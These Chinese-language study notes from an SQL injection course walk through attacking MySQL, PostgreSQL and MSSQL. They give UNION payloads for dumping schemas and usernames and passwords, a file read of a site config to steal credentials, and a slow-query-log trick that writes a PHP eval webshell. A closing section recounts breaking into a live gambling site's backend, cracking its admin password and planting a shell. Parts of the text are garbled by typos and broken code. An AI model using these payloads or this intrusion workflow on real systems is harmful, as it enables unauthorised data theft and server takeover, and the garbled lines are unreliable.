知识点
1、SQL注入-MYSQL数据库
2、SQL注入-MSSQL数据库
3、SQL注入-P哦是通过热SQL数据库
详细点:
Access无高权限注入点只能猜解,还是暴力猜解
MYSQL, PostgreSQL,MSSQL高权限注入点-可升级读写执行等
案例
MYSQL-root高权限读写注入
PostgreSQL-高权限读写注入
MSSQL(SQLserver)-sa高权限读写执行注入
结尾彩蛋-某Q牌违法登录框注入
sql语句的基本语法,可以读取数据库里的文件信息
在d盘写入1.txt,内容为xxxx
MYSQL-root高权限读写注入
相关文章:https://cnblogs.com/hackxf/p/8975501.html
在实际环境里读取数据,读到了x123
成功在d盘写入了123.txt,内容为yyy
输入?id=2 UNION SELECT 1,load_file(“D:/phpstudy/PHPTutorial/WWW/blog/config/conn.php”),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17得到了数据库的用户名和密码
通过报错出来的地址,写一个后门代码到给出的地址,搞这些小实验的时候要把杀毒软件关掉,不然会被误杀掉。
mysql的配置文件,框标出来的部分是配置是否要限制读写的操作,目前是空的,也就是不限制读写。如果写一个C:/,那么就会限制只能在C的盘符上进行操作,而小迪的环境搭在D盘,所以就不能写后门代码了。
这个时候譬如说myadmin会有root用户的登录界面,如果能获取到用户名和密码,那就可以使用sql语句去突破secure_file_priv的配置了
set global slow_query_log = 1;
set globla slow_query_log_file = ‘shell路径’;
select’<?php eval($_GET[A]?)>’ or SLEEP(1);
global slow_query_log_file(漫日志)这个函数就是将你执行过的sql语句全部保存到一个文件里,所以就可以通过这个函数写入一个后门代码。
总结:
-路径获取:phpinfo,报错,字典等
-无法写入:secure_file_priv突破 注入中需要支持SQL执行环境,如果没有就要借助phpmyadmin或能够直接连上对方数据库进行绕过
PostgreSQL-高权限读写注入
-测列数:
order by 4
and 1=2 union select null,null,null,null
-测显位:第2,3
and 1=2 union select ‘null’,null,null,null 错误
and 1=2 union select null,’null’,null,null 正常
and 1=2 union select null,null,’null’,null 正常
and 1=2 union select null,null,null,’null’ 错误
-获取信息:
and 1=2 union select null,current_user,current_database(),null分别回显用户和数据库名
and 1=2 union select null,version(),null,null回显版本
-获取数据库名:
and 1=2 union select null,string_agg(datname,’,’),null,null from pg_database
-获取表名:
1、and 1=2 union select null,string_agg(tablename,’,’),null,null from pg_tables where schemaname=’public’
2、and 1=2 union select null,string_agg(relname,’,’),null,null from pg_stat_user_tables
-获取列名:
and 1=2 union select null,strint_agg(column_name,’,’),null,null from information_schema.columns where table_name=’reg_users’
-获取数据:
and 1=2 union select null,string_agg(name,’,’),string_agg(password,’,’),null from reg_users
-补充-获取dba用户 (同样在DBA用户下,是可以进行文件读写的):
and 1=2 union select null,string_agg(usename,’,’),null,null FROM pg_user WHERE usesuper IS TRUE
参考:https://www.freebuf.com/sectool/249371.html
MSSQL(SQLserver)-sa高权限读写执行注入
-测列数:
order by 4
and 1=2 union all select null,null,null,null
-测显位:2,3
and 1=2 union all select null,1,null,null
and 1=2 union all select null,null,’s’,null
-获取信息:
@@version 获取版本信息
db_name() 当前数据库名字
user、system_user,current_user,user_name 获取当前用户名
@@SERVERNAME 获取服务器主机信息
and 1=2 union all select null,db_name(),null,null
-获取表名:
and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=’u’),null,null
and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=’u’ and name not in (‘manage’)),null,null
获取除了manage以外的表名
-获取列名:
and 1=2 union all select null,(select top 1 col_name(object_id(‘manage’),1)from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id(‘manage’),2)from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id(‘manage’),3)from sysobjects),null,null
敲4的时候就没了,一共就3个.
and 1=2 union all select null,username,password,null from manage
结尾彩蛋-某Q牌违法登录框注入
典型的sql语句报错
asp,net搭建的搭配的数据库一般是sqlserver
输入admin12’ and (select count(*) from sysobjects)>0—+&password=213213,回显正常
输入admin12’ and (select count(*) from msysobjects)>0—+&password=213213,回显异常
这样测试说明了数据库是SQLserver
说明字段15个
回显位有5,开始进行上面的公式注入操作就行了
sqlmap脚本自动化注入
获取数据库名称
获取当前数据库名称
获取当前数据库下的表名
获取列名
获取账号和密码
解密得到真实密码
进入到菠菜网站的后台
判断当前用户是否为高权限用户
True!
直接写入shell代码
对方ip地址出来了
读取服务器版本